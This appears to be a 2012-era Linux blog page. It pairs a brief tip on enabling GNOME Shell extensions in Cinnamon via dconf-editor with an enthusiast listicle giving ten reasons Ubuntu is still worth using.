If you want GNOME Shell extension get activated on your system, please fire up dconf-editor and navigate to "org > cinnamon > enabled extensions"and add the extensions you want to enable, e.g.:

• ['system-monitor@paradoxxx.zero.gmail.com', 'apps-menu@gnome-shell-extensions.gnome.org', 'dock@gnome-shell-extensions.gnome.org', 'drive-menu@gnome-shell-extensions.gnome.org', 'places-menu@gnome-shell-extensions.gnome.org', 'windowsNavigator@gnome-shell-extensions.gnome.org', 'xrandr-indicator@gnome-shell-extensions.gnome.org']

via: WebUpd8

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10 Reason Why Ubuntu Still Great !

Happy New Year All !

In the start 2012, some people may start their day with writing their resolution, some people may lay down on their bed because of tired after partying, and some of them maybe start their day with reinstalling their PC with new OS. if you including in the third option i think you are geek... :p
 
2012 is a momentum to switch to ubuntu, after doing such many thing with ubuntu and feel confort with it, i thing now people should use it as prime OS. Ubuntu is not a perfect yet but still great, there are 10 reason why ubuntu still great and worth to try :

Ubuntu Developer Summit

1. Ubuntu is Legal
Ubuntu is Open Source OS, Using Ubuntu means your free to download/copy, redistribute, and modified without breaking any license which usually applied to proprietary software. even though using open source is not mean you are free to do everything, there are a lot of thing you can do in Open source than proprietary software.

2. Ubuntu is Still Free
Ubuntu is still free till now. at first many proprietary software comes from Open Source (Redhat, OpenOffice, etc) but then they decide to be closed because was acquired by a large company. Until this day, canonical make ubuntu still free to use for you, even though no more free ubuntu CDs to redistributed from shipit.ubuntu.com.

3. You Free to choice
Ubuntu having many variations and derivatives, start from Kubuntu, Xubuntu, Edubuntu, Linux Mint, BlankOn, and many more. Each of them have different appearance but use a same core, you are free to choice which ubuntu do you like to use.

4. Ubuntu is Customizable
Ubuntu is composed of thousand supporting application, each application in ubuntu can be easily to installed, re-installed, upgraded, and modified accordance to your desire through Ubuntu Software Center, only with Internet connection you can find thousand application that ready to install without worrying any technical knowledge.  

Ubuntu Software Center

5. Ubuntu Always Updated
Ubuntu official (through ubuntu developer) fixing bugs and launch new version of application  every day, every changes in ubuntu/ubuntu application which have been made always informed to user via ubuntu update manager which lauch default every your computer boot up. Users also easily update the latest version of ubuntu/ubuntu application from software center.

Ubuntu Update Manager

 6. Having Good Support from Official and Community
Based on my experience, ubuntu is the best linux distro that giving support to their user. Official Ubuntu website and million unofficial ubuntu blog and forum are ready to answer a questions and giving help if you are having any difficulties of using ubuntu.

askubuntu.com

7. Ubuntu is Beautifull
Ubuntu have an artwork team which always update ubuntu look every 6 month (ubuntu release twice a year), not only that, there are million ubuntu supporter on the net (deviantart, gnome look, etc) which ready to share their desktop appearance with you.

Screenshot Ubuntu Desktop

8. Ubuntu is Fast, don't worry about old computers
Ubuntu have relatively fast booting and almost run on every PC including old computer, latest ubuntu release does not necessarily require the latest hardware as well. if you feel your computer is running a little bit slowly in Ubuntu just uninstall or drop greedy memory consuming application.

9. Ubuntu is Linux Distro which Most Widely Used
For now ubuntu is not popular distro anymore (regarding to distrowatch) replace with Linux Mint, but you need to know that Linux Mint is an Ubuntu derivative so if you are using Linux Mint it's mean that you are using ubuntu. Most application in Linux Mint you can also use in Ubuntu and so otherwise.

10. Viruses is Far away
Ubuntu/Linux generally still safe from Virus, this not mean that there are no viruses on linux but it's very rare and still save from it.

Taking of Ubuntu is taking about the power of community. Even though is it not a perfect yet, but ubuntu still the greatest, so when will you try ?

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